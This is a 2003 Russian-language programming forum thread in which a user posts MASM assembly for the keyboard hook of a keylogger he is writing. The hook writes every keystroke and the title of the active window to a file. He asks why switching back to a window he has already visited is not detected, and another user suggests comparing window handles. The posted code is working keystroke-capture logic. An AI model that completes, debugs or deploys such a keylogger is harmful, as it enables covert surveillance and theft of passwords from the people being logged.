|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Ноя 28, 2003 13:54:55 Такая ситуация. Пишу обыкновенный кейлоггер. Он записывает в файл все нажатые клавиши и имя программы, в которой они нажимались. Проблема вот в чем: когда я переключаю окна все нормально до тех пор, пока не попадется окно, имя которого уже было. В этой ситуации программа не определяет, что это новое окно. Привожу полный код хука клавиатуры: invoke CallNextHookEx,hHook,nCode,wParam,lParam test lParam, 80000000h jz nextH invoke CreateFile,ADDR buffer, GENERIC_WRITE ,\ FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,NULL mov hFile, eax invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke GetForegroundWindow invoke GetWindowText, eax, ADDR buf, 99 push eax invoke lstrcmpi, ADDR buf, ADDR OldProc .IF (eax!=0) invoke lstrcpy, ADDR OldProc, ADDR buf invoke WriteFile,hFile, ADDR newstr1, newstrLen1, offset SizeReadWrite, NULL pop eax invoke WriteFile,hFile, ADDR buf, eax, offset SizeReadWrite, NULL invoke WriteFile,hFile, ADDR newstr, newstrLen, offset SizeReadWrite, NULL .ENDIF invoke WriteFile,hFile, ADDR wParam, 1, offset SizeReadWrite, NULL invoke CloseHandle, hFile [code][/code] Как мне ее исправить, чтоб момент переключения окон четко фиксировался моей прогой из хука? Заранее благодарен! |
|
|
Дата: Ноя 28, 2003 14:13:30 А ты получай handle окна и сравнивай при совпадении имён ещё handl'ы ;-) |
|
|
Дата: Ноя 28, 2003 14:16:11 Asterix А как его получить? |
|
|
Дата: Ноя 28, 2003 14:19:28 Ладно, сам понял как его получить, вот только это не помогло. Может как-то по другому организовать сравнение Старого/Нового окон? Не подскажете, как лучше? |
|
|
Дата: Ноя 28, 2003 15:12:39 Немного уточню: переменная OldProc содержит имя предыдущего приложения, buf-текущего. Почему-то при переходе на окно, в котором мы уже "были", переменная OldProc восстанавливает свое старое значение, т.е имя окна. Может для каждого приложения создается своя копия моего хука со своими локальными переменными? Это бы объяснило, почему переменные восстанавливают старые значения. Кто-нибудь объяснит в чем дело? |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.054 |